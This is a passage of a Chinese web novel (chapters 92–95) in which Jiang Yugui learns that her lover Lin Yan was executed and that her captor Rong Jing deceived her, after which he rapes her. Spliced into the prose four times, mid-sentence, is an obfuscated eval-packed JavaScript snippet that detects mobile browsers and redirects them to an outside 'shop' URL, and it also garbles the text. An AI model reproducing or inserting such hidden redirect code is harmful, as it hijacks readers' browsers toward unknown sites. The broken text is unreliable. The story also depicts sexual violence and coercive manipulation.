让容璟以为她默认了,让他以为他的蛊惑起了作用,至少,这样可以换来暂时的平静,可以让她在喘息中,小心翼翼的守护住心底那点关于林晏的,尚未完全熄灭的星火,以及她摇摇欲坠的自我。 从那一夜起,姜于归选择了一种消极的应对方式,沉默的顺从。 当容璟再次状似无意的提起:“于归,今日的药膳味道甚好,难为你费心。这般牵挂我的身子,还说不是在意?” 她会垂下眼睫,轻轻嗯一声,既不承认,也不否认。 那低眉顺眼的模样,看在容璟眼里,便是羞涩,便是默认。 当他在书房处理公务疲惫,揉着眉心时,她会适时的递上一杯温度刚好的参茶,容璟接过,指尖若有似无的擦过她的手背,然后低笑道:“看,你的身体比你的嘴诚实。” 姜于归依旧沉默,只是将头垂得更低。 有时,夜深人静,他会将她揽在怀中,并不做什么,只是手指缠绕着她的发丝,在她耳边低语:“于归,承认吧,我们才是注定要纠缠一生的人,林晏给了你一段美好的过往,而我,会给你整个未来,你的心,正在一点点为我敞开,只是你还不愿意正视它。” 姜于归闭着眼假寐,任由他的话语如同催眠的魔咒,左耳进右耳出。 她不再去费力思考容璟的话是对是错,也不再试图去厘清自己复杂的情感。 她将自己放空,像一具没有灵魂的躯壳,配合着他的演出。 姜于归发现,当她放弃争辩,表现出这种默认和顺从时,容璟的心情会明显变得愉悦,对她的掌控和禁锢也会无形中放松些许。 她获得了更多在汀兰水榭内活动的自由,甚至偶尔,他会在天气晴好时,允许她在侍卫的陪同下去府中的小花园走走。 这短暂的,有限的自由,更加坚定了她沉默的决心。 争辩是无用的,反抗是危险的,唯有沉默,这种看似屈服实则保留内心最后阵的的沉默,才能让她在夹缝中求得一丝喘息之机。 容璟看着在他引导下日渐温顺的姜于归,看着她似乎渐渐接受了那份爱意,心中自是满意。 他认为他的种子正在顺利发芽,他却不知道,在那沉默顺从的表象之下,姜于归的内心正在经历着一场悄无声息的蜕变。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115573|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她从最初被他话语蛊惑的混乱,到察觉不对劲的警醒,再到如今放弃无谓争辩的冷静,她正在用一种他未曾预料的方式,守护着自己,并默默的观察着他,审视着这段扭曲的关系。 这样“平静的生活”持续了小半年,时光荏苒,盛京的盛夏在蝉鸣中如期而至,空气中弥漫着栀子花的浓香与即将到来的节庆气息。 七月初六,晨光熹微,透过雕花窗棂,洒下细碎的光斑。 容璟伤势早已大好,气色恢复如常,甚至因这几个月的静养,心情愉悦之间,眉宇间少了几分以往的冷冽,恢复了往常那般的温和,但这样的温和在姜于归面前,不再是伪装,而是真实。 这日临上朝前,姜于归如常近身,为他整理略显繁复的朝服,系神情专注,仿佛这是世间最重要的事。 容璟低头,能看到她光滑的额头,挺翘的鼻尖,以及......那微微抿着的,淡色的唇。 一种奇异的满足感充盈在他心间,他喜欢这种被她细致照料的感觉,喜欢她身上传来的淡淡馨香,更喜欢她此刻看似全然依赖的姿态。 “明日七夕,盛京有灯会,我带你去走走。” 容璟开口,声音是自己都未察觉的,带着些许期待与纵容的温和。 他想看她展颜,想看她眼中映着灯火的模样,仿佛那样,就能证明她真的属于这盛京,属于他。 姜于归系玉佩的动作猛的一顿,指尖瞬间冰凉,那冰冷的触感甚至透过薄薄的夏衣,传递到容璟的腰间。 七夕...... 这个词汇像一把生锈却锋利的钥匙,毫无预兆的捅开了姜于归努力尘封的心门,记忆如决堤的潮水般汹涌而至,瞬间将她淹没。 那是去年的七夕,她与林晏从春日的初遇,到夏日的相知,近半载的光阴,足够让两颗年轻的心在笑谈风月的日子里紧紧相依。 情愫如同藤蔓,在不知不觉中悄然滋生,缠绕心间,早已根深蒂固。 92. 第 92 章 那晚的清溪镇,不复平日宁静,长街两侧各式花灯争奇斗艳,街上人流如织,她穿着一身新裁的藕荷色夏衫,裙摆绣着细小的茉莉,林晏则是一身素雅青衫,身姿挺拔如竹。 他始终护在她身侧,用宽阔的肩背为她挡开拥挤的人潮,掌心偶尔不经意的轻触她的手臂,带来一阵微麻的悸动。 他们在挂满彩色谜题的花灯下驻足,姜于归想起她看到一盏很喜欢的花灯,可是谜面隐晦,她蹙眉思索良久不得其解,林晏微微俯身,凑近她耳边,压低声音提示,温热的气息混合着淡淡的墨香,拂过她敏感的耳廓,带来一阵难以言喻的酥麻与脸红心跳。 林晏猜中了那最难的谜底,那夜除了帮姜于归赢得花灯,还赢得一支素雅剔透的白玉簪。 摊主与周遭人群投来善意的哄笑与目光,他转过身,在璀璨灯火与众人注视下,眉眼含笑,神情是前所未有的温柔与郑重,亲手将那玉簪为她簪在略显松散的发间。 归家途中,喧嚣渐远,行至她酒肆后院那棵枝繁叶茂的老槐树下,林晏却忽然停下了脚步。 月色下,他的神色是从未有过的凝重与郑重,甚至带着一丝不易察觉的紧张。 他从怀中取出一个用素色锦帕仔细包裹的小包,层层打开,里面赫然是那枚质地温润,刻着林家徽记的祖传羊脂玉佩,以及那只内侧刻着小小晏字,机关精巧的袖里星银镯。 林晏的声音在静谧的夏夜里显得格外清晰而温柔,却带着不容置疑的坚定,仿佛立下永恒的誓言。 “于归,山河为证,日月为鉴,我心唯有你一人。这是我祖传玉佩,现在我把它送给你,还有这手镯,愿护你周全。” 说罢,林晏亲手将这两样东西给姜于归戴上,就在姜于归羞涩欣喜自之际,林晏顿了顿,眼中闪过一丝因离别而起的黯然与不舍,声音低沉了几分再次开口。 “京城来了紧急调令,钦差需即刻返京,我也要走了。但你放心,最多几个月,年底之前,我一定来找你,接你去盛京。” 幸福像骤然在夜空中绽放的烟火,绚丽,璀璨,照亮了姜于归整个心房,带来极致的眩晕与甜蜜。 然而那绚烂太过短暂,紧随其后的,是离别带来的骤然空虚,如同潮水般漫上心头的担忧。 那一夜,姜于归紧紧握林晏给的信物,看着他青衫磊落的身影一步步消失在溶溶月色与深沉的夜色里,心中充满了对未来的无限期盼与一股挥之不去的,隐隐的不安。 从回忆的漩涡中挣扎而出,姜于归脸色控制不住的泛白,心口那熟悉的,因思念与现实交织而产生的钝痛,迟迟不退,几乎让她喘不过气。 眼前的容璟,锦衣玉带,眉目清俊依旧,却与记忆中那个月下青衫磊落,眼神清澈温柔的少年身影,形成了无比鲜明而残酷的对比。 那个名字,她已经不能再提,对于容璟的七夕之约,姜于归更不敢拒绝,也不能拒绝,只是迅速垂眸,用力掐紧掌心,用疼痛强迫自己稳住声线,掩去眼底所有翻涌的激烈情绪。 她轻轻点了点头,声音低不可闻,带着一丝不易察觉的颤抖:“好。” 容璟对姜于归的温顺颇为受用,并未深究她瞬间的失神与那过于苍白的脸色,只当她是惊喜交加,或是女儿家的羞涩,心情颇佳的转身,踏着晨光上朝去了。 目送着容璟的身影彻底消失在院门处,姜于归才像是骤然被抽空了所有力气,缓缓靠在冰凉的廊柱上。 窗外阳光明媚,鸟语花香,她却觉得遍体生寒,如坠冰窟。 林晏...... 这个名字如同心间一道永不结痂的伤口,稍一触碰,便鲜血淋漓,痛彻心扉。 她比任何人都更清晰的认识到,他们之间,早已隔了千山万水,抛开以前她清醒的门第之见,现在他们之间,更横亘着容璟这座无法逾越,冷酷无情的大山。 他们此生此世,再无可能。 这份清醒的认知,比单纯的恨意更让姜于归感到一种深入骨髓的无力与悲哀。 她需要出去!迫切需要到人群里去,需要呼吸一口不属于这精致牢笼的空气,需要暂时卸下姜侧夫人这沉重而虚伪的伪装,哪怕只有短短片刻,去感受一下那属于寻常百姓的,简单而真实的喜悦与生机。 姜于归深吸一口气,压下喉间的哽咽,声音依旧带着一丝不易察觉的沙哑。 “秋实,陪我去趟月老祠吧。” 秋实短暂的沉默一瞬,立刻应声,然后去准备了。 月老祠是盛京香火最盛,传说最为灵验的姻缘圣地。 她不知道自己想去求什么,或许,只是想在那份曾经寄托过无数美好愿望的喧嚣中,寻找一丝早已逝去的,属于自己的影子。 白日的盛京,长街两侧早已 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如今,她的姻缘线早已被无情的事实与强权强行斩断,扭曲着系上了一个她永生永世都无法挣脱的,华丽而冰冷的死结。 此地此景于姜于归而言,更像是一种无声的讽刺。 她未曾跪拜,也未求签问卜,只是像一个误入桃花源的,孤零零的局外人,静静的站着,任由那浓重的失落与悲哀将自己包裹。 然而,天公似乎也不愿成全她这片刻的宁静,天色不知不觉阴沉下来,浓重的乌云迅速堆积,山风骤急,吹得树叶哗哗作响,也掀动了她帷帽的白纱。 未等她们主仆下山,豆大的雨点便毫无预兆的噼里啪啦砸落下来,瞬间演变成一场倾盆而下的雷雨,天色暗沉如夜。 “侧夫人快避避!” 秋实惊呼一声,连忙护着姜于归,匆忙避入附近一座供香客休憩的偏殿檐下。 两人刚站定,略微整理被雨打湿的裙摆,便见另一行人也颇为狼狈的被这突如其来的大雨逼至此处,而对方身边的下人,正在高声驱赶其他躲雨的人群。 秋实护住姜于归,姜于归抬眸看去,为首的女子锦衣华服,珠翠环绕,即使在这种仓促情况下,依旧保持着高傲的姿态,被一群宫女太监小心翼翼的簇拥着。 正是永福公主。 真是冤家路窄。 93. 第 93 章 永福公主一眼便认出了姜于归,她上下打量一番,眼中闪过毫不掩饰的嫉妒与鄙夷,唇角扬起一抹极其讥诮的,带着恶意的弧度。 “哟,本宫当是谁呢,原来是姜侧夫人。” 她不在用最初在公主府,与姜于归初次见面时那个天真活泼的性子,反而带着满满的鄙夷。 永福声音娇脆,带着刺骨的寒意:“怎么,明日便是七夕,不在府里好生陪着潜玉表哥,跑到这月老祠来,是嫌攀上的高枝还不够牢靠,想再求一段更好的姻缘吗?” 姜于归只觉得心累,如同被无形丝线缠绕的木偶,今日只想卸下伪装透口气,却偏又遇上最不想见的人,她连那副故作卑微的姿态都懒得维持,因此对永福的羞辱,她只是漠然以对,仿佛未闻。 这彻底的忽视,无疑是对永福权威的挑衅。 永福见她不言不语,姿态淡然,只觉一拳打在了棉花上,随即涌上的是更深的恼怒,言辞愈发刻薄恶毒。 “也是,像你这种出身微贱,嫌贫爱富,水性杨花的女子,自然是要多求几条后路的。本宫真是为那慕容林晏感到不值!听说他尸骨未寒的时候,你就迫不及待的爬上了潜玉表哥的床?如今他死了都快半年了,你可曾有一丝一毫的伤心?怕是夜夜都在庆幸自己改嫁得及时,攀上了更高的枝头吧!真是冷血得让人心寒!” “轰隆——!” 一道惨白的闪电划破昏暗的天际,紧随其后的惊雷炸响,震耳欲聋。 但比那雷声更震撼,更致命的,是永福公主口中吐出的,如同毒针般的话语。 姜于归整个人仿佛被瞬间冻结。 第一反应是懵,大脑一片空白。 永福的声音仿佛隔着一层厚厚的水传来,模糊不清,那些恶毒的词汇像散乱的珠子,在姜于归混沌的脑海里滚动,一时无法串联成具有确切意义的句子。 她只是僵直的站在那里,仿佛还没理解这突如其来的信息意味着什么。 然后,是缓慢的,僵硬的动作,像是生锈的傀儡,极其缓慢的,一格一格转过身,面向永福,落在永福那张写满得意与恶意的脸上。 紧接着,理解如同迟来的冰锥,狠狠刺入神经。 死了......林晏......半年了...... 这几个词终于突破了那层屏障,携带着雷霆万钧的力量,狠狠砸在她的认知上! “你......你说什么?” 姜于归的声音先是极轻,带着一种恍惚的,不敢置信的飘忽。 随即,像是终于意识到了什么,音量骤然拔高,颤抖得不成样子,每一个字都像是从喉咙深处被恐惧和震惊挤压出来,破碎不堪:“林晏......死了?不可能!你胡说!” 她踉跄着向后倒退一步,双腿发软,几乎无法支撑身体的重量,全靠身旁眼明手快的秋实死死扶住她的胳膊,才没有当场软倒在地。 永福公主被她这过于激烈,完全不似作伪的反应吓了一跳,下意识的后退了半步。 但随即,一种抓住了对方痛脚的快意和得意,迅速淹没了那瞬间的惊惧。 她挺直了腰背,抬着下巴,用更加肯定的,带着炫耀和残忍的语气冷笑道:“呵,装得可真像!不过现在全盛京谁不知道,慕容林晏身为查案钦差,却知法犯法,贪污受贿,罪证确凿,一月底就被父皇下旨处死了!死了都快半年了!本宫就知道在皇姐公主府那个小厮的指正不是假话,你在这儿跟本宫装什么情深义重?真是可笑!我一定会把这件事情告诉潜玉表哥,让他看穿你这个水性杨花的狐媚子” 一月底......处死......半年了...... 这一次,每一个字都清晰无比,如同最锋利的刀刃,在她心口反复凌迟。 那摇摇欲坠的镇定终于彻底崩塌,天旋地转,眼前景象开始扭曲,发黑,耳边是持续不断的尖锐的嗡鸣,仿佛整个世界都在离她远去。 心口传来的撕裂般剧痛让她几乎无法呼吸,喉头涌上一股强烈的腥甜气息,姜于归死死咬住下唇,才勉强压住那翻涌的气血。 “侧夫人!” 秋实吓得魂飞魄散,脸色比姜于归还要难看,她用力撑住姜于归摇摇欲坠的身体,感受到臂弯里的人正在不受控制的往下滑。 她心急如焚,再也顾不得尊卑,猛的抬头看向永福公主:“公主殿下慎言!我们侧夫人她不知......” “秋实!住口!” 一声嘶哑却异常尖锐的呵斥,猛的打断了秋实未竟的话语。 姜于归不知从哪里生出一股力气,猛的站直了身体,甚至一把挥开了秋实搀扶的手。 她脸色苍白如雪,嘴唇不住的颤抖,但那双看向永福的眼睛,却燃着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124250|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种近乎疯狂的火焰,以及一种被彻底欺骗愚弄后产生深刻的恨意。 永福身边的宫女护卫连忙挡住姜于归,而姜于归死死盯着永福,仿佛要用目光将她洞穿,声音因为极力压抑着巨大的情绪波动而变得扭曲:“你再说一遍?他......什么时候死的?怎么死的?!” 姜于归的眼神太过骇人,那里面蕴含的绝望与疯狂,让养尊处优,惯会见风使舵的永福心底猛的一寒。 永福色厉内荏的强撑着:“一......一月底!皇榜都贴了!千真万确!” 说完,似乎生怕被这晦气沾染,或是被姜于归那不对劲的状态波及,她慌忙对左右宫人喝道:“还愣着干什么?雨小了,赶紧回宫!” 一行人簇拥着永福,几乎是落荒而逃般匆匆离去,将这偏殿檐下的死寂与绝望,全然留给了姜于归主仆。 豆大的雨点依旧噼啪砸在青石板上,溅起冰冷的水花。 姜于归僵立在原地,雨水飘进来,打湿了她的裙摆和鞋袜,她却毫无所觉,脸上的血色褪得干干净净,嘴唇不受控制的轻颤着,只有那双眼睛,依旧死死盯着永福消失的方向,空洞,却又仿佛燃烧着地狱般的火焰。 死了...... 半年前就死了...... 那她这半年来的隐忍,屈辱,委曲求全,算什么? 她发下的那个以林晏性命为赌注的毒誓,算什么? 容璟一次又一次的他还活着的承诺,又算什么? 一场彻头彻尾的骗局!一个精心编织的笑话! “侧夫人,雨小了,我们......我们快回去吧......” 秋实小心翼翼的想要扶住她,她看得懂姜于归眼中的绝望,那是一种信仰彻底崩塌后的死寂。她必须立刻,马上通知世子!否则......否则她不敢想象接下来会发生什么! 回府的路上,姜于归如同一个失了魂的木偶,面如死灰,眼神空洞得吓人。 浑身早已被雨水湿透,单薄的夏衣紧紧贴在身上,勾勒出纤细而不住颤抖的轮廓,她却毫无知觉,任由秋实扶着她上了马车。 马车辘辘而行,车厢内气氛压抑得令人窒息。 秋实看着姜于归那副模样,心急如焚,如同热锅上的蚂蚁。 她必须立刻,马上通知世子!侧夫人这个样子,怕是要出大事! 94. 第 94 章 好不容易马车到了荣国公府侧门,秋实扶着姜于归下车,趁着她神思恍惚,寻了个借口,低声道:“侧夫人,您浑身都湿透了,奴婢先去厨房看看,让人立刻备上热水和姜汤......” 说着,她转身就想往厨房方向快步走去。 “站住。” 姜于归冰冷湿滑的手如同铁钳般死死抓住秋实的手腕,力道大得几乎要捏碎她的骨头。 她缓缓转过头,那双空洞又燃烧着恨意的眼睛,直勾勾的盯住秋实,声音没有任何起伏,却带着不容置疑的,令人毛骨悚然的命令:“你想去哪儿?” 秋实僵硬的回头,对上姜于归的目光,有些没底气的届时道:“奴婢......奴婢只是想......” “回汀兰水榭。” 姜于归一字一顿的命令,眼神却锐利如刀:“没有我的允许,今日,谁也不准踏出汀兰水榭半步。违者,后果自负。” 她的声音不大,却带着一种不容置疑的威严与......毁灭的气息。 秋实从未见过这样的姜于归,吓得噤若寒蝉,所有的话都堵在了喉咙里,只能白着脸,喏喏应了声是,搀扶着她,一步步走回那座华丽而压抑的牢笼。 回到汀兰水榭,姜于归屏退了所有上前想要伺候的丫鬟婆子,包括秋实。 她独自一人走进内室,没有换下那身湿透冰冷的衣物,也没有点灯,她就那样直接坐在了窗边那张铺着软垫的椅子上,面向着窗外再次滂沱不止的雷雨。 天色越发昏暗,黑暗中,只有窗外偶尔划过的闪电,能短暂的照亮她单薄而剧烈颤抖的身影。 冰冷的衣物黏腻的贴在皮肤上,带来刺骨的寒意,却远远比不上姜于归心头那万分之一的风暴与冰寒。 林晏死了。 半年前就死了。 一月底......在她参加永嘉赏梅晏之后,在容璟受伤期间,在她照顾容璟期间,那个时候,林晏就......死了...... 那个曾经与她约定一生的男子,在月下赠她玉佩,她深爱着的林晏......早在半年前,就已经不在了! 身首异处,尸骨无存! 而她呢? 她在他死后,成了他好友的枕边人,曲意逢迎,虚与委蛇,甚至......甚至还在容璟的刻意引导下,对那个造成这一切的罪魁祸首,产生了不该有的,令人作呕的愧疚! 这半年来的隐忍,挣扎,自我说服,那些在深夜独自咀嚼的苦涩与对林晏安危的担忧......此刻全都成了天大的笑话! 一场彻头彻尾,精心策划的骗局! 恨意如同地狱蔓延出的毒火,混合着被彻底愚弄的屈辱感,疯狂的滋长,瞬间烧尽了姜于归心中最后一丝温存与犹豫。 这恨意,既对着那个编织谎言的容璟,也对着那个愚蠢的,肮脏的自己! 不知在黑暗和冰冷的绝望中沉浸了多久,窗外雨声未停,天色却愈发昏暗,已近黄昏。 门外,终于传来了那熟悉的,让她此刻恨入骨髓的沉稳脚步声。 容璟推门而入,略带疑惑的看着一片漆黑的室内,空气中还弥漫着若有似无的潮湿水汽。 “于归?” 容璟边走边说道,语气里带着一丝明日约好的轻快,并未察觉到异常:“灯会酉时三刻开始,我已命人清了西市长街一段,不会有闲杂人等扰你清净。你可准备好了喜欢的衣裳首饰?怎的也不点灯?” 他的目光很快适应了室内的昏暗,看到了那个僵坐在窗边,蜷缩着的单薄身影,以及旁边秋实脸色惨白,欲言又止,焦急得几乎要哭出来的秋实。 容璟心头那点因期待明日灯会而生的轻快,瞬间被这诡异景象驱散。 他蹙起眉头,心中升起不悦,更有一丝不易察觉的担忧。 他沉声问,语气带上了惯有的,不容置疑的威压:“怎么回事?” 秋实被容璟那冷冽的目光一刺,身体几不可查的抖了一下,她飞快的瞥了一眼依旧泥塑木雕般的姜于归,随后立刻开口,声音带着哽咽的颤音:“回......回世子,今日奴婢陪侧夫人出门......” “够了!” 秋实话音未落,便被一声嘶哑却异常尖锐的声音厉声打断。 是姜于归。 她依旧维持着蜷缩的姿势,没有回头,但那声音里透出的绝望与一种濒临崩溃的戾气,让秋实瞬间噤若寒蝉。 这突如其来的打断,落在容璟眼中,却完全是另一番解读。 他见姜于归连身子都未曾转动,只以背影相对,声音又是如此激动凄厉,心中那点不悦立刻被一股心疼与怒气取代。 他自然而然的推断,定是出门时,遇到了哪个不长眼的东西,给了于归极大的气受! 看姜于归连湿透的衣裳都未曾更换,可见当时被冲击得多厉害,回来至今都未能缓过神! 是谁?竟敢动他容璟放在心上的人?! 容璟的目光再次锁定秋实,语气更沉,带着迫人的寒意:“可是谁惹到侧夫人了?今日出去,是谁给她气受了?” 他需要知道罪魁祸首的名字。 秋实被那目光压得几乎喘不过气,又得了世子明确的询问,再也顾不得姜于归的阻止,只想尽快将真相和盘托出,她语速极快的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130629|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回道:“是永福公......” “秋实!” 姜于归凌厉的语气带着不容置疑的,近乎凶狠的警告:“这里没你的事!出去!所有人都出去!” 姜于归猛的转过头,那双原本清澈的杏眸此刻布满了血丝,如同受伤的困兽,死死盯着秋实,那眼神冰冷刺骨,带着一种近乎疯狂的警告,仿佛秋实再多说一个字,就要扑上来将她撕碎。 秋实所有的话都卡在喉咙里,她抬眸畏惧的看了看容璟,最终在容璟默许的挥手下,连同其他丫鬟,战战兢兢的躬身退了出去,并轻轻带上了房门。 室内只剩下他们两人,气氛瞬间变得剑拔弩张,压抑得让人喘不过气。 至此容璟心中已了然。 永福公主! 他想起永福对自己那毫不掩饰的企图,想起她平日里看似天真单纯,实则娇纵跋扈的性子。 定是永福在月老祠撞见于归,仗着公主身份,用极其难听的话羞辱了她! 骂她身份低微?讥讽她攀附权贵?无论哪一种,都足以让心思细腻,骨子里仍存清高的于归感到屈辱难当。 一股怒火在容璟胸中升腾。 他之前对付永嘉和睿王,主要在朝堂之上,剪除其羽翼,破坏其谋划,对于永福,他看在皇室颜面上,只是干脆的拒婚,并未过多为难。 现在看来,是他太仁慈了! 永福竟敢将手伸到于归面前,如此折辱她!他必要永福为此付出代价,长长记性,让她彻底明白,什么人她动不得! 然而,在这滔天怒意之下,竟悄然滋生出一丝连容璟自己都未曾细辨的......隐秘的欢喜。 看于归这反应,如此激动,如此抗拒提及永福,甚至不惜厉声呵斥贴身婢女......这仅仅是屈辱吗? 会不会......其中也掺杂了那么一丝,因永福对他的痴缠而产生的......醋意? 这个念头如同投入冰湖的石子,在他心底漾开一圈微妙的涟漪。 想来,终于是他的那些话语起了作用。 他想起这半年来,姜于归虽温顺照料,却始终像是隔着一层看不见的纱,情绪少有波澜。 这种被在意的感觉,哪怕只是他单方面的推断,也奇异的取悦了他,仿佛他长久以来精心编织的网,终于捕捉到了一丝猎物的真实情绪,不再是全然的麻木与顺从。 他决定不再逼问秋实,于归此刻正在气头上,他若执意追问,只会让她更觉难堪。 他需要安抚她,同时,也要让她知道,他会为她出头。 于是,容璟走到姜于归面前,蹲下身,试图与她平视。 95. 第 95 章 容璟放缓了语气,声音是他自己都未察觉的温和,带着一种近乎安抚的意味:“永福的话你不必放在心上,她的心思满盛京谁人不知?不过是嫉妒你能常伴我左右,才口出恶言,故意折辱于你。这等肤浅之言,听过便忘了,何必为她气坏自己的身子?” 他看着她苍白的侧脸,在昏暗光线下显得格外脆弱,仿佛一碰即碎,心中那股混合着怒意与隐秘欢喜的情绪翻涌着,容璟心中一动,那个盘旋已久的念头再次浮现。 或许,这是个再次提出,巩固她地位的好时机。 他伸出手去握住她放在膝上紧紧攥成拳的手,给予她一些支撑和安慰,声音是罕见的温和与认真,甚至带上了一丝他自己都未察觉的,小心翼翼的试探。 “于归,你若是在意这些流言蜚语,在意那名分......” 他想说,我可以给你正妻之位,让你名正言顺,再无后顾之忧。 却不想,话未说完,便被姜于归冰冷的,没有任何感情的打断。 “容璟。” 她叫他的名字,清晰,冰冷,生硬,不带一丝一毫往日里或畏惧,或温顺,或复杂的情愫,只有全然的疏离与一种深刻的,冰冷的恨意。 容璟的眉头瞬间紧蹙,不悦清晰的写在脸上。 这半年,他早已习惯甚至迷恋上她偶尔低唤他潜玉时的温顺姿态,那声潜玉,即便最初是他强求来的,也让他觉得她终于认命,终于肯向他展露一丝依赖,终于......在某种意义上,属于他了。 每次她带着复杂情绪低唤出口时,他心底都会泛起一丝隐秘的满足与愉悦。 现在连名带姓的容璟,此刻听来,却像是一把冰冷的匕首,带着全然的否定与划清界限的决绝,狠狠刺了他一下,让他极其不适,甚至......有些慌乱。 “我不喜欢你这样叫我。”容璟开口强调。 姜于归看着他,看着他此刻还在纠结于一个称呼,心底的荒谬感与悲愤几乎要冲破胸膛。 她扯出一个比哭还要难看,充满了讽刺意味的笑容,眼底是熊熊燃烧的恨意:“我也不喜欢你骗我。” 容璟心头猛的一跳,面上却不露分毫,依旧是那副掌控一切的姿态:“我骗你什么?” 她一字一顿,泪水终于控制不住的决堤而出,声音带着血泪般的控诉,在寂静的室内异常清晰: “你骗我说,他——还——活——着!” 容璟瞬间明白了,月老祠,永福......原来不是吃味,而是东窗事发。 他心中那第二次想要提出的,或许带着一丝真心期待的娶妻之言,被硬生生压了下去,瞬间消散无踪。 取而代之的,是一种被戳穿算计的冷怒,以及一种事情脱离掌控的烦躁。 容璟站起身,居高临下的看着姜于归,恢复了惯有的冷静与强势,甚至带着一丝嘲讽:“是永福告诉你的吧?她嫉妒你,她的话也能信?” 容璟试图做最后的挣扎,或者说,是维持自己摇摇欲坠的掌控感。 姜于归猛的站起来,因为激动和长时间的冰冷,身体微微摇晃,她却强撑着,毫不退缩的逼视着他,声音因极致的愤怒而嘶哑。 “我打听过了!容璟!你还要骗我到什么时候?!他是不是一月底就死了?!是不是被你!是不是因为你们之间的争斗?!是不是?!” 她的质问,如同杜鹃啼血,带着无尽的痛苦与绝望,在昏暗的室内回荡,每一个字都像鞭子一样,抽在两人之间那早已脆弱不堪的关系上。 容璟沉默的看着她,看着她脸上奔流的泪水,看着她眼中那深刻的,毫不掩饰的恨意与信仰崩塌后的绝望。 他知道,瞒不住了,他精心维持的,用谎言和心机构筑的平衡,在这一刻,被彻底,无情的打破。 容璟终于开口,声音冷漠得没有一丝温度,像寒冬屋檐下坠落的冰凌:“是!他死了。” 尽管早已从永福那里得知,尽管心中已有定论,但亲耳从容璟口中听到这冰冷而斩钉截铁的三个字,姜于归还是觉得如同五雷轰顶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜于归被他眼中的疯狂吓到,更因那死了二字而心胆俱裂,她奋力挣扎起来,指甲在他手背上划出几道清晰的血痕,屈辱和愤怒让她几乎失去理智,泪水终于决堤而出。 “放开我!凭什么?!容璟你凭什么?!你毁了我的一切!你这个疯子!我恨你!我恨你!” 姜于归的哭喊声在空旷的室内回荡,充满了绝望。 容璟却充耳不闻,将她重重扔在柔软的锦被上,随即覆身而上,用身体的力量将她牢牢禁锢在方寸之间,一只手轻易的扣住她胡乱挥舞的双腕,按在头顶。 他在她耳边低语,气息灼热而不稳,带着一种破罐破摔的狠绝,一种即将坠入深渊的绝望:“恨我吗?那就恨吧!牢牢的记住这种恨!记住此刻在你身边的人是谁!” 他的吻,带着惩罚的意味,铺天盖的落下,不是缠绵,而是掠夺,是宣告主权。 衣衫在撕扯中破碎,露出她莹白的肌肤,上面很快便沾染了他留下的痕迹。 姜于归的挣扎从一开始的凶猛,逐渐变得无力,力量的悬殊让她如同困兽,所有的反抗都像是撞在铜墙铁壁上,徒劳无功。 泪水模糊了她的视线,她不再哭喊,只是死死咬着下唇,直到口中弥漫开一股腥甜的味道,一双原本清澈的眸子,此刻盈满了冰冷的恨意,直直的瞪着身上这个如同恶魔般的男人。 姜于归的沉默和眼神里的恨,比任何哭喊都更让容璟心烦意乱。 他宁愿她哭,她闹,她骂他,而不是像现在这样,用一种看仇人的目光看着他。 这个过程,漫长而煎熬,对于姜于归而言,无异于一场凌迟。 不知过了多久,风暴终于停歇。 室内弥漫着暧昧又压抑的气息,混杂着淡淡的血腥气。 容璟撑起身,看着姜于归如同失去灵魂的木偶般躺在凌乱的锦被中,眼神空洞的望着帐顶,仿佛世间万物再与她无关。 心头那股无名火烧得更旺,还夹杂着一丝连他自己都不愿承认的慌乱和......后悔。 容璟起身,慢条斯理的整理好凌乱的衣袍,神情恢复了惯有的冷静与疏离,站在床边,背对着她,似乎不敢再看她那绝望的模样。 他的声音恢复了平日的冷静,却比任何时候都更显残酷:“慕容林晏已经死了,这是事实,你最好尽快接受。” 说完,容璟顿了顿,终是在离开前,侧过半张脸,光影在他轮廓分明的侧脸上投下深邃的阴影,无端显出几分阴鸷。 “现在恨吧,但将来你就会知道,究竟该恨我,还是该谢我。” 话音落下,他不再停留,转身离去,将一室死寂与无边黑暗,留给了身心俱创的姜于归。 无论是离开的容璟,还是躺在床上的姜于归,心里都无比清楚的知道。 有些东西,从今天起,彻底的,永远的改变了。 他们之间,那层用谎言,愧疚和短暂虚假温情勉强维持的薄冰,已经彻底碎裂,露出了底下汹涌的,名为仇恨与绝望的,冰冷刺骨的暗流。 而他,在说出那句充满你会谢我时,就已经将未来的所有赌注,都押在了那个终将到来的,真相大白之日。 